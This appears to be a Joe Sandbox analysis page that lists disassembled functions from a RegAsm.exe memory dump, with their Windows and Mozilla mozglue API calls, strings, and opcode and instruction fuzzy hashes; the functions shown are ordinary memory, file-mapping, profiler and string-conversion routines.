Snapshot File: hcaresult_3_2_6c6c0000_RegAsm.jbxd

Similarity

API ID: CriticalLibraryProcessSectionTime$AddressCurrentEnterFileFreeInit_thread_footerLeaveLoadProcSystemTimes__aulldiv
String ID: GetSystemTimePreciseAsFileTime$kernel32.dll
API String ID: 3634367004-706389432
Opcode ID: 54420746f5763a12cf10f34f0df22617d56311920d2d329b3862e820b3b2643b
Instruction ID: 952a426a459e05823fcc4c3347c23e1ef4643409fa7fd8b0d041ac2f46b6e97e
Opcode Fuzzy Hash: 54420746f5763a12cf10f34f0df22617d56311920d2d329b3862e820b3b2643b
Instruction Fuzzy Hash: EB31B371B002499BDF00EFB9C948EEE77B9FB86309F50803AE515A3650DB70A905CB66

Function 6C6C4480 Relevance: 16.8, APIs: 11, Instructions: 316COMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(B60B60B8,?,?,?,?,6C704843,?), ref: 6C6C45F5
free.MOZGLUE(?,?,?,?,?,?,?,?,6C704843,?), ref: 6C6C468A
free.MOZGLUE(?,?,?,?,?,?,6C704843,?), ref: 6C6C46C9
free.MOZGLUE(?), ref: 6C6C46EF
free.MOZGLUE(?), ref: 6C6C4712
free.MOZGLUE(?), ref: 6C6C4735
free.MOZGLUE(?), ref: 6C6C4758
free.MOZGLUE(?), ref: 6C6C477B
free.MOZGLUE(?), ref: 6C6C479E

Memory Dump Source

Source File: 00000003.00000002.2046911307.000000006C6C1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C6C0000, based on PE: true

Associated: 00000003.00000002.2046895787.000000006C6C0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2047049118.000000006C73D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2047081265.000000006C74E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2047103136.000000006C752000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6c6c0000_RegAsm.jbxd

Similarity

API ID: free$moz_xmalloc
String ID:
API String ID: 3009372454-0
Opcode ID: c460ce785199cab6adb93dbdd1c0e3dbbe5e313bd10e2dc493b5aa9849339720
Instruction ID: cf682b1f15835d46b6035c11172d932af4b4838bf0ff15cb5a925ea8c3810931
Opcode Fuzzy Hash: c460ce785199cab6adb93dbdd1c0e3dbbe5e313bd10e2dc493b5aa9849339720
Instruction Fuzzy Hash: 52B1E371B051108FDB18DE2CC8D47BD76B2EF46328F184669E816DBBC6D7B1D8408B9A

Function 6C72AC20 Relevance: 16.6, APIs: 11, Instructions: 92fileCOMMON

Download Yara Rule

APIs

CreateFileW.KERNEL32 ref: 6C72AC52
CreateFileMappingW.KERNEL32 ref: 6C72AC7D
GetSystemInfo.KERNEL32 ref: 6C72AC98
MapViewOfFile.KERNEL32 ref: 6C72ACB0
GetSystemInfo.KERNEL32 ref: 6C72ACCD
MapViewOfFile.KERNEL32 ref: 6C72AD05
UnmapViewOfFile.KERNEL32 ref: 6C72AD1C
CloseHandle.KERNEL32 ref: 6C72AD28
UnmapViewOfFile.KERNEL32 ref: 6C72AD37
CloseHandle.KERNEL32 ref: 6C72AD43
CloseHandle.KERNEL32 ref: 6C72AD67

Memory Dump Source

Source File: 00000003.00000002.2046911307.000000006C6C1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C6C0000, based on PE: true

Associated: 00000003.00000002.2046895787.000000006C6C0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2047049118.000000006C73D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2047081265.000000006C74E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2047103136.000000006C752000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6c6c0000_RegAsm.jbxd

Similarity

API ID: File$View$CloseHandle$CreateInfoSystemUnmap$Mapping
String ID:
API String ID: 1192971331-0
Opcode ID: 2ac825dd7206904f13d24a646b48438a904ce64cfbaf3912eb3eeacbbc99f349
Instruction ID: e734c636354958532650523792c541a66bc941e839155362811692ecaeeafdc7
Opcode Fuzzy Hash: 2ac825dd7206904f13d24a646b48438a904ce64cfbaf3912eb3eeacbbc99f349
Instruction Fuzzy Hash: 073162B1904B048FDB00BF7CD64966EBBF4BF85315F01893DE99987215EB74A848CB82

Function 6C6D9620 Relevance: 15.9, APIs: 6, Strings: 3, Instructions: 103libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryW.KERNEL32(Api-ms-win-core-memory-l1-1-5.dll), ref: 6C6D9675
__Init_thread_footer.LIBCMT ref: 6C6D9697
LoadLibraryW.KERNEL32(ntdll.dll), ref: 6C6D96E8
GetProcAddress.KERNEL32(00000000,NtMapViewOfSection), ref: 6C6D9707
__Init_thread_footer.LIBCMT ref: 6C6D971F
SetLastError.KERNEL32(00000000,?,?,00000002,?,?), ref: 6C6D9773

Part of subcall function 6C6FAB89: EnterCriticalSection.KERNEL32(6C74E370,?,?,?,6C6C34DE,6C74F6CC,?,?,?,?,?,?,?,6C6C3284), ref: 6C6FAB94
Part of subcall function 6C6FAB89: LeaveCriticalSection.KERNEL32(6C74E370,?,6C6C34DE,6C74F6CC,?,?,?,?,?,?,?,6C6C3284,?,?,6C6E56F6), ref: 6C6FABD1

GetProcAddress.KERNEL32(00000000,MapViewOfFileNuma2), ref: 6C6D97B7
FreeLibrary.KERNEL32 ref: 6C6D97D0
FreeLibrary.KERNEL32 ref: 6C6D97EB
SetLastError.KERNEL32(00000000,?,?,00000002,?,?), ref: 6C6D9824

Strings

Api-ms-win-core-memory-l1-1-5.dll, xrefs: 6C6D9670
MapViewOfFileNuma2, xrefs: 6C6D97B1
ntdll.dll, xrefs: 6C6D96E3
NtMapViewOfSection, xrefs: 6C6D9701

Memory Dump Source

Source File: 00000003.00000002.2046911307.000000006C6C1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C6C0000, based on PE: true

Associated: 00000003.00000002.2046895787.000000006C6C0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2047049118.000000006C73D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2047081265.000000006C74E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2047103136.000000006C752000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6c6c0000_RegAsm.jbxd

Similarity

API ID: Library$AddressCriticalErrorFreeInit_thread_footerLastLoadProcSection$EnterLeave
String ID: Api-ms-win-core-memory-l1-1-5.dll$MapViewOfFileNuma2$NtMapViewOfSection$ntdll.dll
API String ID: 409848716-3880535382
Opcode ID: 6596f8f5aab6d34fde6658bc7fe980a91291b5cbead54da609cbdc3019298766
Instruction ID: e7171e580d4be88597d618c0dfefe948edcade72ee7936de2077d6e5a45bed2d
Opcode Fuzzy Hash: 6596f8f5aab6d34fde6658bc7fe980a91291b5cbead54da609cbdc3019298766
Instruction Fuzzy Hash: B04100707006059BDF00EFB4DA94A9A7BB5EB4A32CF41813AED1587740DB34B904CBA4

Function 6C710000 Relevance: 14.1, APIs: 7, Strings: 1, Instructions: 127threadCOMMON

Download Yara Rule

APIs

Part of subcall function 6C709420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING,6C6D4A68), ref: 6C70945E
Part of subcall function 6C709420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6C709470
Part of subcall function 6C709420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6C709482
Part of subcall function 6C709420: __Init_thread_footer.LIBCMT ref: 6C70949F

GetCurrentThreadId.KERNEL32 ref: 6C710039
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C710041
GetCurrentThreadId.KERNEL32 ref: 6C710075
AcquireSRWLockExclusive.KERNEL32(6C74F4B8), ref: 6C710082
moz_xmalloc.MOZGLUE(00000048), ref: 6C710090
free.MOZGLUE(?), ref: 6C710104
ReleaseSRWLockExclusive.KERNEL32(6C74F4B8), ref: 6C71011B

Strings

[D %d/%d] profiler_register_page(%llu, %llu, %s, %llu), xrefs: 6C71005B

Memory Dump Source

Source File: 00000003.00000002.2046911307.000000006C6C1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C6C0000, based on PE: true

Associated: 00000003.00000002.2046895787.000000006C6C0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2047049118.000000006C73D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2047081265.000000006C74E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2047103136.000000006C752000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6c6c0000_RegAsm.jbxd

Similarity

API ID: getenv$CurrentExclusiveLockThread$AcquireInit_thread_footerRelease_getpidfreemoz_xmalloc
String ID: [D %d/%d] profiler_register_page(%llu, %llu, %s, %llu)
API String ID: 3012294017-637075127
Opcode ID: 3aec143e8585752566c02389d0d3da096ead71c666ff145ebff144321c0230ea
Instruction ID: 6442c1a49de802e032e3a3d1900dc508b93d55a0f1aa6a1a5c5a6b628e768c9f
Opcode Fuzzy Hash: 3aec143e8585752566c02389d0d3da096ead71c666ff145ebff144321c0230ea
Instruction Fuzzy Hash: 4641CDB5600744DFCB10DF68C944A9ABBF1FF4A328F44852EE96A83B40DB31B815CB95

Function 6C6D7E90 Relevance: 14.1, APIs: 7, Strings: 1, Instructions: 116stringCOMMON

Download Yara Rule

APIs

strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C6D7EA7
malloc.MOZGLUE(00000001), ref: 6C6D7EB3

Part of subcall function 6C6DCAB0: EnterCriticalSection.KERNEL32(?), ref: 6C6DCB49
Part of subcall function 6C6DCAB0: LeaveCriticalSection.KERNEL32(?), ref: 6C6DCBB6

strncpy.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?,00000000), ref: 6C6D7EC4
mozalloc_abort.MOZGLUE(?), ref: 6C6D7F19
malloc.MOZGLUE(?), ref: 6C6D7F36
memcpy.VCRUNTIME140(00000000,?,?), ref: 6C6D7F4D

Strings

d, xrefs: 6C6D7F89

Memory Dump Source

Source File: 00000003.00000002.2046911307.000000006C6C1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C6C0000, based on PE: true

Associated: 00000003.00000002.2046895787.000000006C6C0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2047049118.000000006C73D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2047081265.000000006C74E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2047103136.000000006C752000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6c6c0000_RegAsm.jbxd

Similarity

API ID: CriticalSectionmalloc$EnterLeavememcpymozalloc_abortstrlenstrncpy
String ID: d
API String ID: 204725295-2564639436
Opcode ID: fbf11bb9527e4e8bb47a22cac0c1a7e1a93085dff8a9524c250cf349dda5609c
Instruction ID: 7b7717cd23c942647b34ef43fac8c590323c3dcb6fe2e62d8070c9f8a5e24b5b
Opcode Fuzzy Hash: fbf11bb9527e4e8bb47a22cac0c1a7e1a93085dff8a9524c250cf349dda5609c
Instruction Fuzzy Hash: 1E310561E0025C97DB00AB68CC049FEB778EF96318F059629ED499B612FB30A588C399

Function 6C6D3E80 Relevance: 13.7, APIs: 9, Instructions: 246memoryCOMMON

Download Yara Rule

APIs

RtlAllocateHeap.NTDLL ref: 6C6D3EEE
RtlFreeHeap.NTDLL(?,00000000,?), ref: 6C6D3FDC
RtlAllocateHeap.NTDLL ref: 6C6D4006
RtlFreeHeap.NTDLL(?,00000000,?), ref: 6C6D40A1
RtlFreeUnicodeString.NTDLL(?,?,00000000,?,?,00000000,?,?,?,?,?,?,6C6D3CCC), ref: 6C6D40AF
RtlFreeUnicodeString.NTDLL(?,?,00000000,?,?,00000000,?,?,?,?,?,?,6C6D3CCC), ref: 6C6D40C2
RtlFreeHeap.NTDLL(?,00000000,?), ref: 6C6D4134
RtlFreeUnicodeString.NTDLL(?,?,00000000,?,?,00000000,00000040,?,?,?,?,?,6C6D3CCC), ref: 6C6D4143
RtlFreeUnicodeString.NTDLL(?,?,?,00000000,?,?,00000000,00000040,?,?,?,?,?,6C6D3CCC), ref: 6C6D4157

Memory Dump Source

Source File: 00000003.00000002.2046911307.000000006C6C1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C6C0000, based on PE: true

Associated: 00000003.00000002.2046895787.000000006C6C0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2047049118.000000006C73D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2047081265.000000006C74E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2047103136.000000006C752000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6c6c0000_RegAsm.jbxd

Similarity

API ID: Free$Heap$StringUnicode$Allocate
String ID:
API String ID: 3680524765-0
Opcode ID: b13ab191b94d3bc336a0173e00329c51f753acdad4a2e35824d3aa2c58c5bb22
Instruction ID: 6a009c823b33986a8875344f284922f215ddb7b44970e7852167a58793937b56
Opcode Fuzzy Hash: b13ab191b94d3bc336a0173e00329c51f753acdad4a2e35824d3aa2c58c5bb22
Instruction Fuzzy Hash: 1BA18FB1A00215CFDB40CF28C880769B7B5FF48308F2A41A9D909AF742D771EC86CBA4

Function 6C6C2030 Relevance: 13.7, APIs: 7, Strings: 2, Instructions: 204memoryCOMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140(00000000,?,6C6E3F47,?,?,?,6C6E3F47,6C6E1A70,?), ref: 6C6C207F
memset.VCRUNTIME140(?,000000E5,6C6E3F47,?,6C6E3F47,6C6E1A70,?), ref: 6C6C20DD
VirtualFree.KERNEL32(00100000,00100000,00004000,?,6C6E3F47,6C6E1A70,?), ref: 6C6C211A
EnterCriticalSection.KERNEL32(6C74E744,?,6C6E3F47,6C6E1A70,?), ref: 6C6C2145
VirtualAlloc.KERNEL32(?,00100000,00001000,00000004,?,6C6E3F47,6C6E1A70,?), ref: 6C6C21BA
EnterCriticalSection.KERNEL32(6C74E744,?,6C6E3F47,6C6E1A70,?), ref: 6C6C21E0
LeaveCriticalSection.KERNEL32(6C74E744,?,6C6E3F47,6C6E1A70,?), ref: 6C6C2232

Strings

MOZ_CRASH(), xrefs: 6C6C227D
MOZ_RELEASE_ASSERT(node->mArena == this), xrefs: 6C6C2253, 6C6C2268

Memory Dump Source

Source File: 00000003.00000002.2046911307.000000006C6C1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C6C0000, based on PE: true

Associated: 00000003.00000002.2046895787.000000006C6C0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2047049118.000000006C73D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2047081265.000000006C74E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2047103136.000000006C752000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6c6c0000_RegAsm.jbxd

Similarity

API ID: CriticalSection$EnterVirtual$AllocFreeLeavememcpymemset
String ID: MOZ_CRASH()$MOZ_RELEASE_ASSERT(node->mArena == this)
API String ID: 889484744-884734703
Opcode ID: 5eb1fa176b39f2136949b9e7a9165c0df1b2abdac38eb836e7762ee38a02ef3e
Instruction ID: 576cf74588c87ed7058a760be095489e3955ef4b72d58c16169f8715ca2aaefc
Opcode Fuzzy Hash: 5eb1fa176b39f2136949b9e7a9165c0df1b2abdac38eb836e7762ee38a02ef3e
Instruction Fuzzy Hash: 8761F931F042158FCB04DE78C989B6E77B5EF85328F158136EA24A7B94D7709D00C78A

Function 6C719D00 Relevance: 13.7, APIs: 9, Instructions: 178timeCOMMON

Download Yara Rule

APIs

??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,6C718273), ref: 6C719D65
free.MOZGLUE(6C718273,?), ref: 6C719D7C
free.MOZGLUE(?,?), ref: 6C719D92
??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?,?), ref: 6C719E0F
free.MOZGLUE(6C71946B,?,?), ref: 6C719E24
free.MOZGLUE(?,?,?), ref: 6C719E3A
??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?,?,?), ref: 6C719EC8
free.MOZGLUE(6C71946B,?,?,?), ref: 6C719EDF
free.MOZGLUE(?,?,?,?), ref: 6C719EF5

Memory Dump Source

Source File: 00000003.00000002.2046911307.000000006C6C1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C6C0000, based on PE: true

Associated: 00000003.00000002.2046895787.000000006C6C0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2047049118.000000006C73D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2047081265.000000006C74E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2047103136.000000006C752000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6c6c0000_RegAsm.jbxd

Similarity

API ID: free$StampTimeV01@@Value@mozilla@@
String ID:
API String ID: 956590011-0
Opcode ID: eb9e2caa80bd7aadcccb593515610985ff057c1de2e1e5162db7738baa1c60e6
Instruction ID: fe201dd45fa612d9d2ded724f75e9b34d306b576844a32d07ddb4365bb4bae9d
Opcode Fuzzy Hash: eb9e2caa80bd7aadcccb593515610985ff057c1de2e1e5162db7738baa1c60e6
Instruction Fuzzy Hash: 0371A17190AB418BD712CF18C54055BF3F4FFA9315B44865EE89A9BB11EB30E886CBC5

Function 6C71DDC0 Relevance: 13.7, APIs: 9, Instructions: 152COMMON

Download Yara Rule

APIs

?profiler_get_core_buffer@baseprofiler@mozilla@@YAAAVProfileChunkedBuffer@2@XZ.MOZGLUE ref: 6C71DDCF

Part of subcall function 6C6FFA00: ReleaseSRWLockExclusive.KERNEL32(?), ref: 6C6FFA4B

Part of subcall function 6C7190E0: free.MOZGLUE(?,00000000,?,?,6C71DEDB), ref: 6C7190FF
Part of subcall function 6C7190E0: free.MOZGLUE(?,00000000,?,?,6C71DEDB), ref: 6C719108

free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C71DE0D
free.MOZGLUE(00000000), ref: 6C71DE41
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C71DE5F
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C71DEA3
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C71DEE9
free.API-MS-WIN-CRT-HEAP-L1-1-0(?,6C70DEFD,?,6C6D4A68), ref: 6C71DF32

Part of subcall function 6C71DAE0: ??1MutexImpl@detail@mozilla@@QAE@XZ.MOZGLUE ref: 6C71DB86
Part of subcall function 6C71DAE0: ??1MutexImpl@detail@mozilla@@QAE@XZ.MOZGLUE ref: 6C71DC0E

free.API-MS-WIN-CRT-HEAP-L1-1-0(?,6C70DEFD,?,6C6D4A68), ref: 6C71DF65
free.MOZGLUE(?), ref: 6C71DF80

Part of subcall function 6C6E5E90: EnterCriticalSection.KERNEL32(-0000000C), ref: 6C6E5EDB
Part of subcall function 6C6E5E90: memset.VCRUNTIME140(ewrl,000000E5,?), ref: 6C6E5F27
Part of subcall function 6C6E5E90: LeaveCriticalSection.KERNEL32(?), ref: 6C6E5FB2

Memory Dump Source

Source File: 00000003.00000002.2046911307.000000006C6C1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C6C0000, based on PE: true

Associated: 00000003.00000002.2046895787.000000006C6C0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2047049118.000000006C73D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2047081265.000000006C74E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2047103136.000000006C752000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6c6c0000_RegAsm.jbxd

Similarity

API ID: free$CriticalImpl@detail@mozilla@@MutexSection$?profiler_get_core_buffer@baseprofiler@mozilla@@Buffer@2@ChunkedEnterExclusiveLeaveLockProfileReleasememset
String ID:
API String ID: 112305417-0
Opcode ID: 9c22471b1ff4433038e5b7b6a5774adfb0c39aebaa0ca28267d9b3eca51d4c33
Instruction ID: a9b2ab7939a19b41583c3db68c4f6d1e51046b319bfbe1bf3b461f1ab91aa347
Opcode Fuzzy Hash: 9c22471b1ff4433038e5b7b6a5774adfb0c39aebaa0ca28267d9b3eca51d4c33
Instruction Fuzzy Hash: 4D511C726096009BD7129B18CA842AE737ABFB5309F5D012DD41A53F11D731F91ECF9A

Function 6C725D10 Relevance: 13.6, APIs: 9, Instructions: 126COMMON

Download Yara Rule

APIs

?_Fiopen@std@@YAPAU_iobuf@@PB_WHH@Z.MSVCP140(?,00000001,00000040,?,00000000,?,6C725C8C,?,6C6FE829), ref: 6C725D32
?getloc@?$basic_streambuf@DU?$char_traits@D@std@@@std@@QBE?AVlocale@2@XZ.MSVCP140(?,00000000,00000001,?,?,?,?,00000000,?,6C725C8C,?,6C6FE829), ref: 6C725D62
??0_Lockit@std@@QAE@H@Z.MSVCP140(00000000,?,?,?,?,00000000,?,6C725C8C,?,6C6FE829), ref: 6C725D6D
??Bid@locale@std@@QAEIXZ.MSVCP140(?,?,?,?,00000000,?,6C725C8C,?,6C6FE829), ref: 6C725D84
?_Getgloballocale@locale@std@@CAPAV_Locimp@12@XZ.MSVCP140(?,?,?,?,00000000,?,6C725C8C,?,6C6FE829), ref: 6C725DA4
?_Getcat@?$codecvt@DDU_Mbstatet@@@std@@SAIPAPBVfacet@locale@2@PBV42@@Z.MSVCP140(?,?,?,?,?,?,00000000,?,6C725C8C,?,6C6FE829), ref: 6C725DC9
std::_Facet_Register.LIBCPMT ref: 6C725DDB
??1_Lockit@std@@QAE@XZ.MSVCP140(?,?,?,?,00000000,?,6C725C8C,?,6C6FE829), ref: 6C725E00
abort.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,?,?,?,?,00000000,?,6C725C8C,?,6C6FE829), ref: 6C725E45

Memory Dump Source

Source File: 00000003.00000002.2046911307.000000006C6C1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C6C0000, based on PE: true

Associated: 00000003.00000002.2046895787.000000006C6C0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2047049118.000000006C73D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2047081265.000000006C74E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2047103136.000000006C752000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6c6c0000_RegAsm.jbxd

Similarity

API ID: Lockit@std@@$??0_??1_?getloc@?$basic_streambuf@Bid@locale@std@@D@std@@@std@@Facet_Fiopen@std@@Getcat@?$codecvt@Getgloballocale@locale@std@@Locimp@12@Mbstatet@@@std@@RegisterU?$char_traits@U_iobuf@@V42@@Vfacet@locale@2@Vlocale@2@abortstd::_
String ID:
API String ID: 2325513730-0
Opcode ID: 790f294c923c446a6fb057cfd824f9d22ee4642197f32015eb2b93fa32267e54
Instruction ID: 8542c35af589e2b232e35df1b824315ece26903998f885ed170efa4bda7600b6
Opcode Fuzzy Hash: 790f294c923c446a6fb057cfd824f9d22ee4642197f32015eb2b93fa32267e54
Instruction Fuzzy Hash: 18417F70B002049FCB00EF65D9D9AAE77B5AF89318F544079D50A9B795EB34EC05CF51

Function 6C6FCC60 Relevance: 13.6, APIs: 7, Strings: 2, Instructions: 104memoryCOMMON

Download Yara Rule

APIs

VirtualAlloc.KERNEL32(00000000,00003000,00003000,00000004,?,?,?,6C6C31A7), ref: 6C6FCDDD

Strings

<jemalloc>, xrefs: 6C6FCF9F, 6C6FCFB3
: (malloc) Error in VirtualFree(), xrefs: 6C6FCFA4, 6C6FCFB8

Memory Dump Source

Source File: 00000003.00000002.2046911307.000000006C6C1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C6C0000, based on PE: true

Associated: 00000003.00000002.2046895787.000000006C6C0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2047049118.000000006C73D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2047081265.000000006C74E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2047103136.000000006C752000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6c6c0000_RegAsm.jbxd

Similarity

API ID: AllocVirtual
String ID: : (malloc) Error in VirtualFree()$<jemalloc>
API String ID: 4275171209-2186867486
Opcode ID: abc266a20bd9e11aabcaca49faa281ec195840b37d2d76864e8ccdeb009634f4
Instruction ID: 49c85311d0ce21e04b8e13d31db6f05a22ab99fb100d9dca1c69b3d9b391719e
Opcode Fuzzy Hash: abc266a20bd9e11aabcaca49faa281ec195840b37d2d76864e8ccdeb009634f4
Instruction Fuzzy Hash: C231A7317412056BFB24BF758C45BAE7B77BF41728F208025F526ABAC0DB70E9028799

Function 6C6CECD0 Relevance: 12.4, APIs: 6, Strings: 1, Instructions: 143fileCOMMON

Download Yara Rule

APIs

Part of subcall function 6C6CF100: LoadLibraryW.KERNEL32(shell32,?,6C73D020), ref: 6C6CF122
Part of subcall function 6C6CF100: GetProcAddress.KERNEL32(00000000,SHGetKnownFolderPath), ref: 6C6CF132

moz_xmalloc.MOZGLUE(00000012), ref: 6C6CED50
wcslen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C6CEDAC
wcslen.API-MS-WIN-CRT-STRING-L1-1-0(00000000,\Mozilla\Firefox\SkeletonUILock-,00000020,?,00000000), ref: 6C6CEDCC
CreateFileW.KERNEL32 ref: 6C6CEE08
free.MOZGLUE(00000000), ref: 6C6CEE27
free.MOZGLUE(?,?,?,?,?,?,?,00000000,00000000,00000000), ref: 6C6CEE32

Part of subcall function 6C6CEB90: moz_xmalloc.MOZGLUE(00000104), ref: 6C6CEBB5
Part of subcall function 6C6CEB90: memset.VCRUNTIME140(00000000,00000000,00000104,?,?,6C6FD7F3), ref: 6C6CEBC3
Part of subcall function 6C6CEB90: GetModuleFileNameW.KERNEL32(00000000,00000000,00000104,?,?,?,?,?,?,6C6FD7F3), ref: 6C6CEBD6

Strings

\Mozilla\Firefox\SkeletonUILock-, xrefs: 6C6CEDC1

Memory Dump Source

Source File: 00000003.00000002.2046911307.000000006C6C1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C6C0000, based on PE: true

Associated: 00000003.00000002.2046895787.000000006C6C0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2047049118.000000006C73D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2047081265.000000006C74E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2047103136.000000006C752000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6c6c0000_RegAsm.jbxd

Similarity

API ID: Filefreemoz_xmallocwcslen$AddressCreateLibraryLoadModuleNameProcmemset
String ID: \Mozilla\Firefox\SkeletonUILock-
API String ID: 1980384892-344433685
Opcode ID: 81d322c84b66e8532b1bfacc6c29656b4358e94f51c27c47a8eaaa507bc31bb7
Instruction ID: 0fb006274e641b137bf68fce6905b2f97353d896978d698d52049948bcd09adc
Opcode Fuzzy Hash: 81d322c84b66e8532b1bfacc6c29656b4358e94f51c27c47a8eaaa507bc31bb7
Instruction Fuzzy Hash: E9510171E052188BDB00DF68C8426EEB7F0EF5A358F04842DE8556B741E730A989C7EB

Function 6C73A520 Relevance: 12.4, APIs: 5, Strings: 2, Instructions: 117COMMON

Download Yara Rule

APIs

?HandleSpecialValues@DoubleToStringConverter@double_conversion@@ABE_NNPAVStringBuilder@2@@Z.MOZGLUE ref: 6C73A565

Part of subcall function 6C73A470: strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C73A4BE
Part of subcall function 6C73A470: memcpy.VCRUNTIME140(?,?,00000000), ref: 6C73A4D6

?CreateExponentialRepresentation@DoubleToStringConverter@double_conversion@@ABEXPBDHHPAVStringBuilder@2@@Z.MOZGLUE ref: 6C73A65B
?DoubleToAscii@DoubleToStringConverter@double_conversion@@SAXNW4DtoaMode@12@HPADHPA_NPAH3@Z.MOZGLUE ref: 6C73A6B6

Strings

z, xrefs: 6C73A6AE
0, xrefs: 6C73A5FB

Memory Dump Source

Source File: 00000003.00000002.2046911307.000000006C6C1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C6C0000, based on PE: true

Associated: 00000003.00000002.2046895787.000000006C6C0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2047049118.000000006C73D000.00000002.00000001.01000000.00000008.sdmpDownload File
